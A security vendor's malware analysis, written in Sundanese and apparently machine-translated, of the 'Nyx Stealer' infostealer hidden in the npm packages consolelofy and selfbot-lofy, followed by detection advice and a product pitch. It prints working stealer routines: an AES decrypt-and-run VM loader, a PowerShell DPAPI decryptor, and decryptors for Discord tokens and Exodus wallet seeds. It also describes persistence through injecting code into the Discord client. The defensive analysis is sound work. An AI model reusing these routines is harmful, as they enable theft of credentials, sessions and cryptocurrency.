npm Infostealer

Kapanggihna Infostealer npm anyar: Nyx ​​Stealer Ngabajak Sesi Discord

TL; DR

Tim Panalungtikan Kaamanan Xygeni ngaidéntifikasi kampanye infostealer npm anu canggih anu dikirimkeun ngalangkungan dua pakét jahat: konsollofy jeung selfbot-lofy.

Versi panganyarna (consolelofy@1.3.0) nyematkan payload énkripsi AES 216KB anu didekripsi nalika runtime sareng dieksekusi ngalangkungan vm.runInNewContext()Kusabab logika jahat dienkripsi sapinuhna, pamindai statis anu ngandelkeun pamariksaan string teu tiasa niténan paripolahna dugi ka waktos palaksanaan.

Sakali didekripsi, muatanna, anu dicap sacara internal Nyx Stealer, sasaran:

  • Token auténtikasi Discord
  • 50+ toko kredensial browser
  • 90+ éksténsi dompét cryptocurrency
  • Sesi Roblox, Instagram, Spotify, Steam, Telegram, sareng TikTok
  • Persistensi klien desktop Discord

Sadaya 20 vérsi dina dua pakét éta dilaporkeun sareng dikonfirmasi jahat.

Tinjauan Téknis tina Infostealer npm Ieu

Beda sareng malware waktos pamasangan tradisional, kampanye ieu ngandelkeun a runtime modél dekripsi.

Nyaéta:

  • Teu aya niat jahat preinstall or postinstall hooks
  • Teu aya telepon jaringan anu jelas nalika pamasangan
  • Teu aya logika panén kredensial plaintext

Payload bakal aktip nalika modul diimpor. Sakabéh awak jahat dienkripsi sareng ngan ukur némbongan dina mémori nalika runtime.

Desain ieu khususna nyingkahan deteksi nalika pamasangan pakét.

Kumaha npm Infostealer Ieu Sabenerna Ngalaksanakeun

Sateuacan nganalisis naon anu dicolong ku Nyx Stealer, urang kedah ngartos heula kumaha éta dijalankeun.

Logika jahat di jero infostealer npm ieu nuturkeun pola anu konsisten:

Loader leutik ngadekripsi payload énkripsi anu ageung sareng ngaéksekusi sacara dinamis di jero kontéks VM Node.js.

Desain ieu ngahaja. Panyerang henteu nyumputkeun fungsi di balik obfuscation hungkul, aranjeunna miceun kode jahat tina pisibilitas statis sagemblengna.

Modél Palaksanaan Tingkat Luhur

Dina tingkat anu luhur, bungkusna ngalakukeun opat hal:

  • Ngahasilkeun konci AES tina frasa sandi anu di-hardcode nganggo SHA-256
  • Ngadekripsi ciphertext anu dikodekeun heksadesimal ageung nganggo AES-256-CBC
  • Ngajalankeun JavaScript anu didekripsi nganggo vm.runInNewContext()
  • Nyayogikeun sandbox anu masih ngalaan primitif runtime anu kuat

Ringkesan Téhnik Inti

komponen Konfigurasi / Nilai
algoritma AES-256-CBC
Turunan konci SHA-256 (kecap akses)
Vektor Inisialisasi (IV) 16 bait tina 0x00
eksekusi vm.runInNewContext(didekripsi, kotak pasir)

Sacara kritis, kotak pasir ngaliwat:

  • require
  • process
  • Buffer
  • timers
  • ékspor modul

Ieu ngandung harti payload anu didekripsi nahan kamampuan pinuh pikeun:

  • Prosés baranahan
  • Maca sareng nyerat file
  • Ngadamel telepon jaringan
  • Ngarobih aplikasi lokal

Ieu sanés VM anu diwatesan. Ieu mangrupikeun VM anu dianggo salaku trampolin éksekusi.

Pola Énkripsi Runtime (Mékanisme Éksekusi Inti)

Pangisi barangna leutik.
Awak jahat mah henteu.

Di handap ieu pola palaksanaan anu aya di jero pakét:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Naha Hal-hal ieu

Payload anu didekripsi:

  • teu teu aya dina plaintext di jero pakét npm
  • Teu katingali ku jalma basajan grep atanapi scanning string statis
  • Ngan némbongan dina mémori nalika runtime
  • Ngajalankeun kalayan kamampuan runtime Node anu lengkep

Kombinasi palaksanaan AES + VM ieu mangrupikeun indikator paripolah anu kuat tina hiji npm infostealer nyobian nyingkahan pamariksaan statis.

Istilah sanésna:

Upami anjeun nyeken tangkal sumber pakét, anjeun moal ningali aya anu maling.
Anjeun ningali dekripsior.

Naon Anu Kajadian Saatos Dékripsi

Sakali dijalankeun, Nyx Stealer ngaluncurkeun gelombang pangumpulan data paralel.

Gelombang 1: Ékstraksi Kredensial Browser

Malware-na:

  • Ngundeur runtime Python ti NuGet CDN
  • Nginstal perpustakaan kriptografi
  • Ékstrak panyimpenan kredensial dumasar Chromium
  • Ngadekripsi rahasia anu dijagaan ku DPAPI

Gantina ngompilasi binding asli, éta ngamangpaatkeun PowerShell pikeun nelepon Windows DPAPI sacara langsung.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Pendekatan ieu:

  • Ngahindarkeun artefak kompilasi
  • Nganggo API kripto Windows asli
  • Campuran kana parabot administrasi

Éta mangrupikeun dekripsi kredensial tingkat OS, sanés scraping.

Gelombang 2: Dékripsi Token Discord

Nu maling téh apal kana protokol. Éta ngartos format token énkripsi Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Aliran operasional:

  • Ékstrak konci master tina Discord Local State
  • Dekripsi konci master via DPAPI
  • Dekripsi gumpalan token AES-GCM
  • Validasi token ngalawan API Discord
  • Beungharkeun ku Nitro, lencana, info tagihan

Ieu sanés miceun kredensial umum. Ieu mangrupikeun pembajakan sési anu sadar protokol.

Gelombang 3: Targeting Dompét Cryptocurrency

Infostealer npm ngadaptarkeun:

  • 90+ éksténsi dompét browser
  • 27 dompét desktop
  • Jalur dompét tiis
  • File siki Exodus

Conto usaha dekripsi seed:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Upami suksés, gangguan dompét bakal langsung kajadian sareng teu tiasa dibalikkeun deui.

Ieu ngagambarkeun vektor monetisasi kampanye anu paling bernilai.

Persisténsi via Discord Desktop Injection

Saatos ngumpulkeun kredensial, Nyx Stealer nyobian tetep gigih ku cara ngarobih lokal Discord langganan.

udagan:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Runtuyan Operasional

Infostealer ngalakukeun léngkah-léngkah ieu:

  • Ngeureunkeun prosés Discord anu dijalankeun
  • Milarian varian Discord anu dipasang (Stable, Canary, PTB)
  • Nuliskeun deui discord_desktop_core/index.js
  • Nyuntikkeun logika webhook anu dikontrol ku panyerang
  • Ngamimitian deui Discord

Ieu mastikeun yén sési Discord ka hareup sacara otomatis bakal ngabocorkeun token auténtikasi anyar.

Anu penting, persistensi ieu henteu ngandelkeun tugas anu dijadwalkeun atanapi modifikasi pendaptaran. Éta ngamangpaatkeun modifikasi kode tingkat aplikasi, pendekatan anu langkung disumputkeun.

Sanajan pakét npm jahat engkéna dihapus, klien Discord tetep bakal kaganggu.

Babandingan Téknis: Selfbot Sah vs npm Infostealer

komponen Perpustakaan Sah Nyx npm Infostealer
enkripsi teu sahiji bae Muatan lengkep anu dienkripsi AES
VM Runtime teu diperlukeun vm.runInNewContext eksekusi
Aksés Kapercayaan API Discord hungkul Browser, dompét, DPAPI
Unduhan Éksternal teu Runtime Python via NuGet
katekunan teu Injeksi klien Discord
Monetization Otomatisasi bot Penjualan ulang kredensial

Lapisan énkripsi waé parantos misahkeun kampanye ieu tina garpu sumber terbuka anu khas.

Selfbot Discord anu sah teu gaduh alesan pikeun ngenkripsi sadaya basis kode na, ngaluarkeun PowerShell pikeun ngaksés DPAPI, ngaunduh runtime éksternal, atanapi ngarobih internal aplikasi desktop. Nalika kamampuan éta muncul di jero dependensi anu ngaku ngotomatisasi interaksi Discord, ketidakcocokan arsitéktur janten teu mungkin dipaliré.

Tina sudut pandang panalungtikan, infostealer npm ieu ninggalkeun tapak dina sababaraha lapisan. Nanging, indikator anu paling dipercaya sanés URL anu di-hardcode atanapi jalur file khusus, sabab éta tiasa robih antara vérsi. Sabalikna, sinyal anu awét téh struktural.

Dina tingkat pakét, tanda bahaya anu paling kuat nyaéta kombinasi tina payload anu dienkripsi ageung sareng bungkus dekripsi runtime anu langsung dijalankeun ngalangkungan vm.runInNewContext()Sanaos énkripsi nyalira henteu jahat, ngagunakeun dekripsi AES dituturkeun ku palaksanaan VM dinamis di jero pakét utilitas Discord mangrupikeun hal anu anéh pisan.

Dina tingkat host, pola anu curiga kalebet aktivitas dekripsi DPAPI anu teu kaduga, prosés anu muncul tina kontéks katergantungan Node.js, sareng modifikasi file aplikasi lokal anu teu kedah dirobih ku perpustakaan pihak katilu. Kitu ogé, dina lapisan jaringan, komunikasi gaya webhook kaluar anu diprakarsai ku katergantungan pamekaran ngagambarkeun anomali anu penting.

Ku kituna, beungeut deteksi sanés hiji-hijina indikator tina kompromi. Éta téh korélasi énkripsi, palaksanaan runtime, aksés kredensial, sareng paripolah persistensi anu ngungkabkeun ancaman.

Deteksi sareng Mitigasi nganggo Xygeni

npm Infostealer

Pencuri info npm ieu diidentipikasi ku Peringatan Dini Malware Xygeni (MEW) ngaliwatan korélasi paripolah anu berlapis tinimbang cocogna tanda tangan anu saderhana.

Gantina milarian string jahat anu dipikanyaho, MEW ngaevaluasi anomali struktural di sakumna tangkal sumber lengkep. Dina hal ieu, deteksi muncul tina konvergénsi sababaraha sinyal: rutin dekripsi AES anu dipasang dina titik éntri modul, palaksanaan langsung di jero kontéks VM, sareng ketidakcocokan kamampuan-ka-maksud anu jelas.

Anu penting, teu aya hiji ogé tina sinyal ieu anu ngabuktikeun niat jahat. Nanging, nalika dianalisis babarengan, éta ngalaan usaha pikeun nyumputkeun paripolah runtime. Pendekatan berlapis ieu sacara signifikan ngirangan positip palsu bari ngaidentipikasi ancaman ranté suplai anu percaya diri.

Salajengna, kasus ieu ngagambarkeun kunaon pamariksaan waktos pamasangan waé teu cekap. Logika jahat henteu aya dina skrip siklus hirup. Éta ngan ukur aktip saatos modul dimuat sareng ngan ukur katingali saatos didekripsi dina mémori. Ku alatan éta, pertahanan anu efektif meryogikeun analisis anu sadar kana énkripsi, pangakuan pola paripolah, sareng pemantauan katergantungan kontinyu saluareun kajadian pamasangan.

Panghapusan pendaptaran téh réaktif. Analisis anu sadar kana runtime téh sipatna preventif.

Naha Infostealer npm Ieu Penting

Nyx Stealer ngagambarkeun évolusi struktural dina malware berbasis npm.

Sacara historis, seueur paket jahat ngandelkeun skrip waktos pamasangan anu katingali atanapi titik tungtung éksfiltrasi kredensial anu jelas. Sabalikna, kampanye ieu ngenkripsi payload-na, nunda palaksanaan ka runtime, ngamangpaatkeun API sistem operasi anu sah, sareng ngadegkeun persistensi di jero aplikasi anu dipercaya.

Ku kituna, panyerang teu kedah ngamangpaatkeun infrastruktur npm sorangan. Sabalikna, serangan éta suksés sabab pamasangan katergantungan nunjukkeun kapercayaan. Pamekar nganggap yén ngimpor pustaka mangrupikeun operasi anu aman, khususna nalika éta nampilkeun dirina salaku garpu anu masuk akal tina alat anu populér.

Nalika ékosistem terus tumuwuh sareng garpu nyebar, wates kapercayaan implisit éta janten permukaan serangan anu beuki pikaresepeun. Ku alatan éta, ngabela ngalawan infostealer npm modéren meryogikeun mikawanoh pola arsitéktur tinimbang milarian string statis.

Pamustunganana, kampanye ieu nguatkeun palajaran penting dina software supply chain securityAncaman anu paling bahaya sanés anu katingalina jahat dina pandangan munggaran, tapi anu katingalina sah sacara struktural dugi ka runtime ngungkabkeun paripolah anu saleresna.

alat-alat-sca-parangkat lunak-analisis-komposisi
Prioritaskeun, remediasi, sareng amankeun résiko parangkat lunak anjeun
Kéngingkeun Akun Gratis anjeun.
Henteu kedah kartu kiridit.

Amankeun Pangwangunan sareng Pangiriman Parangkat Lunak Anjeun

sareng Xygeni Product Suite